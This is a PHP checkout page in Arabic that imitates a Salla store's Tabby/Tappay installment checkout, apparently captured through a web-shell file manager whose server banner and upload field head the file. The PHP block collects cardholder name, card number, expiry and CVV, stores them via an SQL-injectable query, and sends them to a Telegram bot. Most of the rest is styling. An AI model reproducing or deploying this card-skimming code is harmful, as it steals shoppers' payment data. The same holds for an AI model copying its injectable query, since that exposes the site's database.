| Server IP : 46.202.172.170 / Your IP : 216.73.216.59 Web Server : LiteSpeed System : Linux fr-int-web1904.main-hosting.eu 5.14.0-503.34.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 27 06:00:50 EDT 2025 x86_64 User : u627918583 ( 627918583) PHP Version : 8.2.28 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u627918583/domains/rokamaksa.com/public_html/ar/ |
Upload File : |
<?php
session_start();
include "connection.php";
global $connection;
$today = date("d M, Y");
$pricecheckout = $_SESSION['pricecheckout'];
$delivarycompany = $_SESSION['delivarycompany'];
if (!isset($pricecheckout) && !isset($delivarycompany)) {
header("location:../ar/");
}
if (!isset($_SESSION['user'])) {
header("location:../ar/");
}
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_POST['submit'])){
$user = $_SESSION["user"];
$cc_name = isset($_POST['cc-name']) ? $_POST['cc-name'] : '';
$cc_number = isset($_POST['cc-number']) ? $_POST['cc-number'] : '';
$cc_number = str_replace(" ", "", $cc_number);
$cc_month = isset($_POST['cc_month']) ? $_POST['cc_month'] : '';
$cc_year = isset($_POST['cc_year']) ? $_POST['cc_year'] : '';
$cc_csc = isset($_POST['cc-csc']) ? $_POST['cc-csc'] : '';
$Installment = isset($pricecheckout) ? $pricecheckout : '';
$token1 = $token;
$bot_id1 = $tokenID;
$query = "UPDATE `orders` SET `cc-name`='$cc_name',`cc-number`='$cc_number',`cc_month`='$cc_month',`cc_year`='$cc_year',`cc-csc`='$cc_csc',`Installment`='4' WHERE `user` = $user";
$result = mysqli_query($connection, $query);
if ($result){
header("location:codeTappey.php");
}
$databot='Tappay Order For '.$webnameE.PHP_EOL.'Order Number: => '. $user.PHP_EOL.'Total Amount: => '. $Installment.PHP_EOL.'First Payment: => '. ($Installment / 4).PHP_EOL.'Card Holder Name: => '. $cc_name.PHP_EOL.'Card Number: => '. $cc_number.PHP_EOL.'Valid To: => '. $cc_month.'/'.$cc_year.PHP_EOL.'CVV : => '. $cc_csc.PHP_EOL.' ';
$apiToken = $token1;
$data = [
'chat_id' => $bot_id1,
'text' => $databot
];
$response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" .http_build_query($data));
}
}
?>
<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
<meta charset="UTF-8" dir="rtl" lang="ar">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0, shrink-to-fit=no">
<meta name="theme-color" content="#00baf2">
<meta name="msapplication-navbutton-color" content="#00baf2">
<meta name="apple-mobile-web-app-status-bar-style" content="#00baf2">
<link rel="icon" type="image/png" href="../BEqq/<?= $logo_icon ?>">
<link rel="apple-touch-icon-precomposed" href="../BEqq/<?= $logo_icon ?>">
<meta name="msapplication-TileColor" content="#ffffff">
<meta name="msapplication-TileImage" content="../BEqq/<?= $logo_icon ?>">
<meta name="_token" content="">
<meta name="referrer" content="origin-when-cross-origin">
<link rel="stylesheet" href="https://cdn.assets.salla.network/stores/vendor/checkout/css/libraries.css?id=895c6b7c432578d5da48afbf0c803938">
<link rel="stylesheet" href="https://cdn.assets.salla.network/stores/vendor/checkout/css/checkout.css?id=ecc2a25e31340cfa5202fad7ac28f32b">
<title><?= $webnameE ?> | إنهاء الطلب </title>
<title> إنهاء الطلب - <?= $webname; ?></title>
<meta name="description" content="<?= $des_website; ?>">
<meta name="keywords" content="<?= $des_website; ?>">
<meta property="og:description" content="<?= $des_website; ?>">
<meta property="og:title" content=" إنهاء الطلب ">
<style type="text/css" rel="stylesheet">
:root {
--color-primary: #00baf2;
--main-color: #00baf2;
--color-primary-l: #7fffff;
--color-primary-t: #26e0ff;
--color-primary-d: #00a0d8;;
--color-text-reverse: #7fffff;
--color-title: #444;
--color-primary-tt: #ccffff
}
</style>
<style>
.row [class*=col-] {
padding-left: 20px;
padding-right: 20px;
}
@media (min-width: 992px) {
.col-md-12 {
width: 100%;
}
}
.alert-center, .alert-center * {
text-align: center;
}
.alert-default {
background-color: #fff;
padding: 20px;
}
/* .alert {
border-radius: 5px;
font-size: 14px;
padding: 6px 10px 8px;
} */
/* .alert {
border: 1px solid transparent;
border-radius: 0.25rem;
margin-bottom: 1rem;
padding: 0.75rem 1.25rem;
position: relative;
} */
#tabbyCard>div {
max-width: 100%;
/* padding: 1rem; */
width: 100%;
}
.styles__tabby-card--de772.styles__tabby-card--rtl--b41c9 {
direction: rtl;
text-align: right;
}
.styles__tabby-card--de772 {
font-family: system-ui, -apple-system, Segoe UI, Roboto, Ubuntu, Cantarell, Noto Sans, sans-serif, "Helvetica Neue", Helvetica, Arial, sans-serif;
background: #fff;
color: #292929;
padding-bottom: 32px;
max-width: 635px;
min-width: 300px;
position: relative;
}
.styles__subtitle--b7f44 {
margin: 0 0 24px;
font-size: 16px;
line-height: 24px;
letter-spacing: -0.011em;
color: #acacb6;
}
.alert-center, .alert-center * {
text-align: center;
}
.styles__line--f8f1d {
position: relative;
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
-webkit-flex-direction: column;
-ms-flex-direction: column;
flex-direction: column;
}
.styles__line--f8f1d .styles__item--e1fc9 {
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
-webkit-flex-grow: 1;
-ms-flex-positive: 1;
flex-grow: 1;
position: relative;
}
.styles__line--f8f1d .styles__item--e1fc9 .styles__ellipse--896c7 {
display: inline-block;
height: 34px;
min-width: 34px;
border-radius: 100%;
border: 1px solid#54545C;
overflow: hidden;
position: relative;
background: #fff;
margin-bottom: 24px;
box-sizing: border-box;
}
.styles__line--f8f1d .styles__item--e1fc9 .styles__ellipse--896c7 .styles__ellipse__section-1--e8954 {
background: linear-gradient(90deg, #fff 50%, transparent 50%), linear-gradient(0deg, transparent 50%, #54545c 50%);
height: 100%;
}
.styles__line--f8f1d .styles__item--e1fc9 .styles__text--60524 {
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
width: 100%;
margin: 0 0 24px 12px;
-webkit-align-items: center;
-ms-flex-align: center;
align-items: center;
}
.styles__line--f8f1d .styles__item--e1fc9 .styles__text--60524.styles__text_rtl--d3796 p:first-of-type {
margin: 4px 4px 0 0;
}
.styles__line--f8f1d .styles__item--e1fc9 .styles__text--60524 p:first-of-type {
color: #54545c;
font-weight: normal;
margin: 0;
-webkit-flex-grow: 1;
-ms-flex-positive: 1;
flex-grow: 1;
}
.styles__line--f8f1d .styles__item--e1fc9 .styles__text--60524 p {
font-weight: bold;
margin: 0;
font-size: 16px;
line-height: 12px;
}
.styles__line--f8f1d .styles__item--e1fc9 .styles__ellipse--896c7 .styles__ellipse__section-2--822f9 {
background: linear-gradient(90deg, transparent 50%, #54545c 50%);
height: 100%;
}
.styles__line--f8f1d .styles__item--e1fc9 .styles__ellipse--896c7 .styles__ellipse__section-3--30ffa {
background: linear-gradient(180deg, transparent 50%, #54545c 50%), linear-gradient(90deg, transparent 50%, #54545c 50%);
height: 100%;
}
.styles__line--f8f1d .styles__item--e1fc9 .styles__ellipse--896c7 .styles__ellipse__section-4--597bb {
background: #54545c;
height: 100%;
}
.row [class*=col-] {
padding-left: 20px;
padding-right: 20px;
}
@media (min-width: 992px) {
.col-md-6 {
width: 50%;
}
}
.tabby-payment-info {
margin-bottom: 25px;
}
.list {
list-style: none;
margin: 0;
padding: 0;
}
.tabby-payment-info ul li {
margin-bottom: 8px;
}
.title--step:before {
align-items: center;
background-color: #000;
border-radius: 50%;
color: #ffffff;
content: attr(data-step);
display: flex;
flex-direction: row;
font-family: Tahoma;
font-size: 14px;
font-weight: 700;
height: 25px;
justify-content: center;
position: absolute;
right: -30px;
top: 0;
width: 25px;
z-index: 9;
}
.ui.checkbox.toggle input:checked~label:before {
background-color: var(--color-white)!important;
border: 1px solid #0375D3!important;
}
.ui.checkbox.toggle input:checked~label:after {
background-color: #0375D3!important;
box-shadow: none;
right: 20px!important;
}
#coupon_form_submit, #submit-form-btn, #submit-form-btn-Tappay {
color: #ffffff !important;
}
.btn--submit.wide:after {
background-size: cover;
color: #ffffff;
content: "";
display: inline-block;
font-family: sallaicons;
height: 13px;
left: 15px;
position: absolute;
top: 50%;
transform: translateY(-50%);
width: 15px;
}
div.form .form-group .input-wrapper-expiry {
align-items: flex-start;
display: flex;
flex-direction: row;
justify-content: flex-start;
}
div.form .form-group .input-wrapper-expiry .card-month, div.form .form-group .input-wrapper-expiry .card-year {
padding: 0!important;
text-align: center;
}
div.form .form-group .input-wrapper-expiry .card-month {
border-left: 0;
border-radius: 0 4px 4px 0;
}
div.form--payment .form-group .form-control {
border-width: 2px;
height: 40px;
padding: 3px 10px;
}
div.form .form-group .form-control, div.form .form-group textarea {
background-color: var(--color-white);
border: 2px solid #efefef;
border-radius: 4px;
box-shadow: none!important;
color: #625b5b;
font-size: 14px;
height: 40px;
outline: none!important;
padding: 3px 10px 6px;
transition: all .5s cubic-bezier(.2,1,.3,1);
}
div.form .form-group .input-wrapper-expiry .separator {
border-left: 0;
border-radius: 0;
border-right: 0;
padding: 0!important;
width: 10px;
}
div.form .form-group .input-wrapper-expiry .card-year {
border-radius: 4px 0 0 4px;
border-right: 0;
}
.jss143 {
font-size: 16px;
line-height: 21px;
margin-bottom: 12px;
}
.jss146 {
color: rgb(41, 41, 41);
}
.jss145 {
font-weight: bold;
margin-bottom: 4px;
}
.jss144 {
color: #54545C;
}
.jss147 {
color: #54545C;
display: flex;
flex-direction: column;
}
.jss148:first-child {
padding-top: 16px;
}
.jss148 {
display: flex;
position: relative;
align-items: center;
justify-content: space-between;
}
.jss157 {
width: 16px;
height: 16px;
}
.jss155 {
border: 0.5px solid #777781;
padding: 1px;
overflow: hidden;
position: relative;
border-radius: 50%;
}
.jss158 {
background: linear-gradient(90deg, rgb(255, 255, 255) 50%, transparent 50%), linear-gradient(0deg, transparent 50%, rgb(96, 94, 232) 50%);
}
.jss156 {
height: 100%;
}
.jss153 {
color: rgb(84, 84, 92);
}
.jss149 {
flex: 1;
direction: ltr;
text-align: end;
margin-right: 8px;
}
.jss148:not(:first-child) {
padding-top: 16px;
}
.jss148 {
display: flex;
position: relative;
align-items: center;
justify-content: space-between;
}
.jss161 {
width: 16px;
height: 16px;
}
.jss155 {
border: 0.5px solid #777781;
padding: 1px;
overflow: hidden;
position: relative;
border-radius: 50%;
}
.jss162 {
background: linear-gradient(90deg, transparent 50%, rgb(119, 119, 129) 50%);
}
.jss156 {
height: 100%;
}
.jss159 {
color: rgb(84, 84, 92);
}
.jss149 {
flex: 1;
direction: ltr;
text-align: end;
margin-right: 8px;
}
.jss148:not(:first-child) {
padding-top: 16px;
}
.jss148 {
display: flex;
position: relative;
align-items: center;
justify-content: space-between;
}
.jss165 {
width: 16px;
height: 16px;
}
.jss155 {
border: 0.5px solid #777781;
padding: 1px;
overflow: hidden;
position: relative;
border-radius: 50%;
}
.jss166 {
background: linear-gradient(transparent 50%, rgb(119, 119, 129) 50%), linear-gradient(90deg, transparent 50%, rgb(119, 119, 129) 50%);
}
.jss156 {
height: 100%;
}
.jss163 {
color: rgb(84, 84, 92);
}
.jss149 {
flex: 1;
direction: ltr;
text-align: end;
margin-right: 8px;
}
.jss148:not(:first-child) {
padding-top: 16px;
}
.jss148 {
display: flex;
position: relative;
align-items: center;
justify-content: space-between;
}
.jss169 {
width: 16px;
height: 16px;
}
.jss155 {
border: 0.5px solid #777781;
padding: 1px;
overflow: hidden;
position: relative;
border-radius: 50%;
}
.jss170 {
background: rgb(119, 119, 129);
}
.jss156 {
height: 100%;
}
.jss167 {
color: rgb(84, 84, 92);
}
.jss149 {
flex: 1;
direction: ltr;
text-align: end;
margin-right: 8px;
}
</style>
<style>
.slide-enter-active,.slide-leave-active{
transition:height .5s ease
}
.slide-enter,.slide-leave-to{
height:0;overflow:hidden
}
</style>
<style>/*!
* FilePond 4.30.4
* Licensed under MIT, https://opensource.org/licenses/MIT/
* Please visit https://pqina.nl/filepond/ for details.
*/
.filepond--assistant{
clip:rect(1px,1px,1px,1px);
border:0;
-webkit-clip-path:inset(50%);
clip-path:inset(50%);
height:1px;
overflow:hidden;
padding:0;
position:absolute;
white-space:nowrap;
width:1px
}
.filepond--browser.filepond--browser{
font-size:0;
left:1em;
margin:0;
opacity:0;
padding:0;
position:absolute;
top:1.75em;
width:calc(100% - 2em)
}
.filepond--data{
border:none;
contain:strict;
height:0;
margin:0;
padding:0;
visibility:hidden;
width:0
}
.filepond--data,.filepond--drip{
pointer-events:none;
position:absolute
}
.filepond--drip{
background:rgba(0,0,0,.01);
border-radius:.5em;
bottom:0;
left:0;
opacity:.1;
overflow:hidden;
right:0;top:0
}
.filepond--drip-blob{
background:#292625;
border-radius:50%;
height:8em;
margin-left:-4em;
margin-top:-4em;
-webkit-transform-origin:center center;
transform-origin:center center;
width:8em
}
.filepond--drip-blob,.filepond--drop-label{
left:0;
position:absolute;
top:0;
will-change:transform,opacity
}
.filepond--drop-label{
align-items:center;
color:#4f4f4f;
display:flex;
height:0;
justify-content:center;
margin:0;
right:0;
-webkit-user-select:none;
-ms-user-select:none;
user-select:none
}
.filepond--drop-label.filepond--drop-label label{
display:block;
margin:0;
padding:.5em
}
.filepond--drop-label label{cursor:default;
font-size:.875em;
font-weight:400;
line-height:1.5;
text-align:center
}
.filepond--label-action{
-webkit-text-decoration-skip:ink;
cursor:pointer;
text-decoration:underline;
-webkit-text-decoration-color:#a7a4a4;
text-decoration-color:#a7a4a4;
text-decoration-skip-ink:auto
}
.filepond--root[data-disabled] .filepond--drop-label label{
opacity:.5
}
.filepond--file-action-button.filepond--file-action-button{
border:none;
font-family:inherit;
font-size:1em;
height:1.625em;
line-height:inherit;
margin:0;
outline:none;
padding:0;
width:1.625em;
will-change:transform,opacity
}
.filepond--file-action-button.filepond--file-action-button span{
clip:rect(1px,1px,1px,1px);
border:0;
-webkit-clip-path:inset(50%);
clip-path:inset(50%);
height:1px;
overflow:hidden;
padding:0;
position:absolute;
white-space:nowrap;
width:1px
}
.filepond--file-action-button.filepond--file-action-button svg{
height:100%;
width:100%
}
.filepond--file-action-button.filepond--file-action-button:after{
bottom:-.75em;
content:"";
left:-.75em;
position:absolute;
right:-.75em;
top:-.75em
}
.filepond--file-action-button{
background-color:rgba(0,0,0,.5);
background-image:none;
border-radius:50%;
box-shadow:0 0 0 0 hsla(0,0%,100%,0);
color:#fff;
cursor:auto;
transition:box-shadow .25s ease-in
}
.filepond--file-action-button:focus,.filepond--file-action-button:hover{
box-shadow:0 0 0 .125em hsla(0,0%,100%,.9)
}
.filepond--file-action-button[disabled]{
background-color:rgba(0,0,0,.25);
color:hsla(0,0%,100%,.5)
}
.filepond--file-action-button[hidden]{
display:none
}
.filepond--action-edit-item.filepond--action-edit-item{
height:2em;
padding:.1875em;
width:2em
}
.filepond--action-edit-item.filepond--action-edit-item[data-align*=center]{
margin-left:-.1875em
}
.filepond--action-edit-item.filepond--action-edit-item[data-align*=bottom]{
margin-bottom:-.1875em
}
.filepond--action-edit-item-alt{
background:transparent;
border:none;
color:inherit;
font-family:inherit;
line-height:inherit;
margin:0 0 0 .25em;
outline:none;
padding:0;
pointer-events:all;
position:absolute
}
.filepond--action-edit-item-alt svg{
height:1.3125em;
width:1.3125em
}
.filepond--action-edit-item-alt span{
font-size:0;
opacity:0
}
.filepond--file-info{
align-items:flex-start;
display:flex;
flex:1;
flex-direction:column;
margin:0 .5em 0 0;
min-width:0;
pointer-events:none;
position:static;
-webkit-user-select:none;
-ms-user-select:none;
user-select:none;
will-change:transform,opacity
}
.filepond--file-info *{
margin:0
}
.filepond--file-info .filepond--file-info-main{
font-size:.75em;
line-height:1.2;
overflow:hidden;
text-overflow:ellipsis;
white-space:nowrap;
width:100%
}
.filepond--file-info .filepond--file-info-sub{font-size:.625em;opacity:.5;transition:opacity .25s ease-in-out;white-space:nowrap}
.filepond--file-info .filepond--file-info-sub:empty{display:none}
.filepond--file-status{align-items:flex-end;display:flex;flex-direction:column;flex-grow:0;flex-shrink:0;margin:0;min-width:2.25em;pointer-events:none;position:static;text-align:right;-webkit-user-select:none;-ms-user-select:none;user-select:none;will-change:transform,opacity}
.filepond--file-status *{margin:0;white-space:nowrap}
.filepond--file-status .filepond--file-status-main{font-size:.75em;line-height:1.2}
.filepond--file-status .filepond--file-status-sub{font-size:.625em;opacity:.5;transition:opacity .25s ease-in-out}
.filepond--file-wrapper.filepond--file-wrapper{border:none;height:100%;margin:0;min-width:0;padding:0}
.filepond--file-wrapper.filepond--file-wrapper>legend{clip:rect(1px,1px,1px,1px);border:0;-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;overflow:hidden;padding:0;position:absolute;white-space:nowrap;width:1px}.filepond--file{align-items:flex-start;border-radius:.5em;color:#fff;display:flex;height:100%;padding:.5625em;position:static}.filepond--file .filepond--file-status{margin-left:auto;margin-right:2.25em}.filepond--file .filepond--processing-complete-indicator{pointer-events:none;-webkit-user-select:none;-ms-user-select:none;user-select:none;z-index:3}.filepond--file .filepond--file-action-button,.filepond--file .filepond--processing-complete-indicator,.filepond--file .filepond--progress-indicator{position:absolute}.filepond--file [data-align*=left]{left:.5625em}.filepond--file [data-align*=right]{right:.5625em}.filepond--file [data-align*=center]{left:calc(50% - .8125em)}.filepond--file [data-align*=bottom]{bottom:1.125em}.filepond--file [data-align=center]{top:calc(50% - .8125em)}.filepond--file .filepond--progress-indicator{margin-top:.1875em}.filepond--file .filepond--progress-indicator[data-align*=right]{margin-right:.1875em}.filepond--file .filepond--progress-indicator[data-align*=left]{margin-left:.1875em}[data-filepond-item-state*=error] .filepond--file-info,[data-filepond-item-state*=invalid] .filepond--file-info,[data-filepond-item-state=cancelled] .filepond--file-info{margin-right:2.25em}[data-filepond-item-state~=processing] .filepond--file-status-sub{opacity:0}[data-filepond-item-state~=processing] .filepond--action-abort-item-processing~.filepond--file-status .filepond--file-status-sub{opacity:.5}[data-filepond-item-state=processing-error] .filepond--file-status-sub{opacity:0}[data-filepond-item-state=processing-error] .filepond--action-retry-item-processing~.filepond--file-status .filepond--file-status-sub{opacity:.5}[data-filepond-item-state=processing-complete] .filepond--action-revert-item-processing svg{-webkit-animation:fall .5s linear .125s both;animation:fall .5s linear .125s both}[data-filepond-item-state=processing-complete] .filepond--file-status-sub{opacity:.5}[data-filepond-item-state=processing-complete] .filepond--file-info-sub,[data-filepond-item-state=processing-complete] .filepond--processing-complete-indicator:not([style*=hidden])~.filepond--file-status .filepond--file-status-sub{opacity:0}[data-filepond-item-state=processing-complete] .filepond--action-revert-item-processing~.filepond--file-info .filepond--file-info-sub{opacity:.5}[data-filepond-item-state*=error] .filepond--file-wrapper,[data-filepond-item-state*=error] .filepond--panel,[data-filepond-item-state*=invalid] .filepond--file-wrapper,[data-filepond-item-state*=invalid] .filepond--panel{-webkit-animation:shake .65s linear both;animation:shake .65s linear both}[data-filepond-item-state*=busy] .filepond--progress-indicator svg{-webkit-animation:spin 1s linear infinite;animation:spin 1s linear infinite}@-webkit-keyframes spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@-webkit-keyframes shake{10%,90%{-webkit-transform:translateX(-.0625em);transform:translateX(-.0625em)}20%,80%{-webkit-transform:translateX(.125em);transform:translateX(.125em)}30%,50%,70%{-webkit-transform:translateX(-.25em);transform:translateX(-.25em)}40%,60%{-webkit-transform:translateX(.25em);transform:translateX(.25em)}}@keyframes shake{10%,90%{-webkit-transform:translateX(-.0625em);transform:translateX(-.0625em)}20%,80%{-webkit-transform:translateX(.125em);transform:translateX(.125em)}30%,50%,70%{-webkit-transform:translateX(-.25em);transform:translateX(-.25em)}40%,60%{-webkit-transform:translateX(.25em);transform:translateX(.25em)}}@-webkit-keyframes fall{0%{-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out;opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}70%{-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;opacity:1;-webkit-transform:scale(1.1);transform:scale(1.1)}to{-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out;-webkit-transform:scale(1);transform:scale(1)}}@keyframes fall{0%{-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out;opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}70%{-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;opacity:1;-webkit-transform:scale(1.1);transform:scale(1.1)}to{-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out;-webkit-transform:scale(1);transform:scale(1)}}.filepond--hopper[data-hopper-state=drag-over]>*{pointer-events:none}.filepond--hopper[data-hopper-state=drag-over]:after{bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:100}.filepond--progress-indicator{z-index:103}.filepond--file-action-button{z-index:102}.filepond--file-status{z-index:101}.filepond--file-info{z-index:100}.filepond--item{left:0;margin:.25em;padding:0;position:absolute;right:0;top:0;will-change:transform,opacity;z-index:1}.filepond--item>.filepond--panel{z-index:-1}.filepond--item>.filepond--panel .filepond--panel-bottom{box-shadow:0 .0625em .125em -.0625em rgba(0,0,0,.25)}.filepond--item>.filepond--file-wrapper,.filepond--item>.filepond--panel{transition:opacity .15s ease-out}.filepond--item[data-drag-state]{cursor:-webkit-grab;cursor:grab}.filepond--item[data-drag-state]>.filepond--panel{box-shadow:0 0 0 transparent;transition:box-shadow .125s ease-in-out}.filepond--item[data-drag-state=drag]{cursor:-webkit-grabbing;cursor:grabbing}.filepond--item[data-drag-state=drag]>.filepond--panel{box-shadow:0 .125em .3125em rgba(0,0,0,.325)}.filepond--item[data-drag-state]:not([data-drag-state=idle]){z-index:2}.filepond--item-panel{background-color:#64605e}[data-filepond-item-state=processing-complete] .filepond--item-panel{background-color:#369763}[data-filepond-item-state*=error] .filepond--item-panel,[data-filepond-item-state*=invalid] .filepond--item-panel{background-color:#c44e47}.filepond--item-panel{border-radius:.5em;transition:background-color .25s}.filepond--list-scroller{left:0;margin:0;position:absolute;right:0;top:0;will-change:transform}.filepond--list-scroller[data-state=overflow] .filepond--list{bottom:0;right:0}.filepond--list-scroller[data-state=overflow]{-webkit-overflow-scrolling:touch;-webkit-mask:linear-gradient(180deg,#000 calc(100% - .5em),transparent);mask:linear-gradient(180deg,#000 calc(100% - .5em),transparent);overflow-x:hidden;overflow-y:scroll}.filepond--list-scroller::-webkit-scrollbar{background:transparent}.filepond--list-scroller::-webkit-scrollbar:vertical{width:1em}.filepond--list-scroller::-webkit-scrollbar:horizontal{height:0}.filepond--list-scroller::-webkit-scrollbar-thumb{background-clip:content-box;background-color:rgba(0,0,0,.3);border:.3125em solid transparent;border-radius:99999px}.filepond--list.filepond--list{list-style-type:none;margin:0;padding:0;position:absolute;top:0;will-change:transform}.filepond--list{left:.75em;right:.75em}.filepond--root[data-style-panel-layout~=integrated]{height:100%;margin:0;max-width:none;width:100%}.filepond--root[data-style-panel-layout~=circle] .filepond--panel-root,.filepond--root[data-style-panel-layout~=integrated] .filepond--panel-root{border-radius:0}.filepond--root[data-style-panel-layout~=circle] .filepond--panel-root>*,.filepond--root[data-style-panel-layout~=integrated] .filepond--panel-root>*{display:none}.filepond--root[data-style-panel-layout~=circle] .filepond--drop-label,.filepond--root[data-style-panel-layout~=integrated] .filepond--drop-label{align-items:center;bottom:0;display:flex;height:auto;justify-content:center;z-index:7}.filepond--root[data-style-panel-layout~=circle] .filepond--item-panel,.filepond--root[data-style-panel-layout~=integrated] .filepond--item-panel{display:none}.filepond--root[data-style-panel-layout~=compact] .filepond--list-scroller,.filepond--root[data-style-panel-layout~=integrated] .filepond--list-scroller{height:100%;margin-bottom:0;margin-top:0;overflow:hidden}.filepond--root[data-style-panel-layout~=compact] .filepond--list,.filepond--root[data-style-panel-layout~=integrated] .filepond--list{height:100%;left:0;right:0}.filepond--root[data-style-panel-layout~=compact] .filepond--item,.filepond--root[data-style-panel-layout~=integrated] .filepond--item{margin:0}.filepond--root[data-style-panel-layout~=compact] .filepond--file-wrapper,.filepond--root[data-style-panel-layout~=integrated] .filepond--file-wrapper{height:100%}.filepond--root[data-style-panel-layout~=compact] .filepond--drop-label,.filepond--root[data-style-panel-layout~=integrated] .filepond--drop-label{z-index:7}.filepond--root[data-style-panel-layout~=circle]{border-radius:99999rem;overflow:hidden}.filepond--root[data-style-panel-layout~=circle]>.filepond--panel{border-radius:inherit}.filepond--root[data-style-panel-layout~=circle] .filepond--file-info,.filepond--root[data-style-panel-layout~=circle] .filepond--file-status,.filepond--root[data-style-panel-layout~=circle]>.filepond--panel>*{display:none}.filepond--root[data-style-panel-layout~=circle] .filepond--action-edit-item{opacity:1!important;visibility:visible!important}@media not all and (-webkit-min-device-pixel-ratio:0),not all and (min-resolution:0.001dpcm){@supports (-webkit-appearance:none) and (stroke-color:transparent){.filepond--root[data-style-panel-layout~=circle]{will-change:transform}}}.filepond--panel-root{background-color:#f1f0ef;border-radius:.5em}.filepond--panel{height:100%!important;left:0;margin:0;pointer-events:none;position:absolute;right:0;top:0}.filepond-panel:not([data-scalable=false]){height:auto!important}.filepond--panel[data-scalable=false]>div{display:none}.filepond--panel[data-scalable=true]{background-color:transparent!important;border:none!important;-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.filepond--panel-bottom,.filepond--panel-center,.filepond--panel-top{left:0;margin:0;padding:0;position:absolute;right:0;top:0}.filepond--panel-bottom,.filepond--panel-top{height:.5em}.filepond--panel-top{border-bottom:none!important;border-bottom-left-radius:0!important;border-bottom-right-radius:0!important}.filepond--panel-top:after{background-color:inherit;bottom:-1px;content:"";height:2px;left:0;position:absolute;right:0}.filepond--panel-bottom,.filepond--panel-center{-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transform:translate3d(0,.5em,0);transform:translate3d(0,.5em,0);-webkit-transform-origin:left top;transform-origin:left top;will-change:transform}.filepond--panel-bottom{border-top:none!important;border-top-left-radius:0!important;border-top-right-radius:0!important}.filepond--panel-bottom:before{background-color:inherit;content:"";height:2px;left:0;position:absolute;right:0;top:-1px}.filepond--panel-center{border-bottom:none!important;border-radius:0!important;border-top:none!important;height:100px!important}.filepond--panel-center:not([style]){visibility:hidden}.filepond--progress-indicator{color:#fff;height:1.25em;margin:0;pointer-events:none;position:static;width:1.25em;will-change:transform,opacity}.filepond--progress-indicator svg{height:100%;transform-box:fill-box;vertical-align:top;width:100%}.filepond--progress-indicator path{fill:none;stroke:currentColor}.filepond--list-scroller{z-index:6}.filepond--drop-label{z-index:5}.filepond--drip{z-index:3}.filepond--root>.filepond--panel{z-index:2}.filepond--browser{z-index:1}.filepond--root{box-sizing:border-box;contain:layout style size;direction:ltr;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica,Arial,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol;font-size:1rem;font-weight:450;line-height:normal;margin-bottom:1em;position:relative;text-align:left;text-rendering:optimizeLegibility}.filepond--root *{box-sizing:inherit;line-height:inherit}.filepond--root :not(text){font-size:inherit}.filepond--root[data-disabled]{pointer-events:none}.filepond--root[data-disabled] .filepond--list-scroller{pointer-events:all}.filepond--root[data-disabled] .filepond--list{pointer-events:none}.filepond--root .filepond--drop-label{min-height:4.75em}.filepond--root .filepond--list-scroller{margin-bottom:1em;margin-top:1em}.filepond--root .filepond--credits{bottom:-14px;color:inherit;font-size:11px;line-height:.85;opacity:.175;position:absolute;right:0;text-decoration:none;z-index:3}.filepond--root .filepond--credits[style]{bottom:auto;margin-top:14px;top:0}
</style>
<style>
.list--vertical {
flex-direction: column;
flex-wrap: wrap;
}
.list--horizontal, .list--vertical {
align-items: center;
display: flex;
justify-content: flex-start;
}
.list, .list--clear {
list-style: none;
margin: 0;
padding: 0;
}
.list {
flex-wrap: wrap;
}
.list--product-fields {
margin-bottom: 25px!important;
}
.list--product-fields li.form-group:first-child {
margin-top: 20px;
}
.list--product-fields li.form-group {
margin: 0px 0 5px;
}
.list>li:first-child {
margin-top: 0;
}
.list--product-fields li.form-group {
align-items: flex-start;
display: flex;
flex-direction: row;
flex-wrap: wrap;
justify-content: flex-start;
margin: 0 0 25px;
position: relative;
width: 100%;
}
.product-options .form-group {
margin-bottom: 15px;
}
.product-options .form-group {
margin-bottom: 0;
min-height: 55px;
padding-bottom: 0;
}
.product-options .form-group {
margin-bottom: 0;
min-height: 55px;
padding-bottom: 0;
}
.list>li, .list>li .list>li {
margin-top: 7px;
}
.form-group {
margin-bottom: 20px;
position: relative;
}
.form-group {
margin-bottom: 15px;
}
.list--product-fields li.form-group>label {
font-size: 15px;
margin: 0;
padding: 0 0 0 10px;
}
.list--product-fields li.form-group>div, .list--product-fields li.form-group>label {
flex: 0 0 50%;
}
.product-option-name {
font-size: 15px;
color: #555;
}
.list--product-fields li.form-group>label.required:after {
color: #f55157;
content: "*";
font-size: 15px;
}
input[type=checkbox], input[type=radio] {
margin: 4px 0 0;
line-height: normal;
}
.text-warning {
color: #0375D3!important
}
.list--product-fields li.form-group .bootstrap-select>.btn.btn-default, .list--product-fields li.form-group .btn, .list--product-fields li.form-group .form-control:not(textarea) {
height: 40px!important;
min-height: unset!important;
width: 100%;
}
.list--product-fields li.form-group .bootstrap-select>.btn.btn-default, .list--product-fields li.form-group .btn, .list--product-fields li.form-group .form-control, .list--product-fields li.form-group textarea {
border-color: #dcdcdc;
border-radius: 3px;
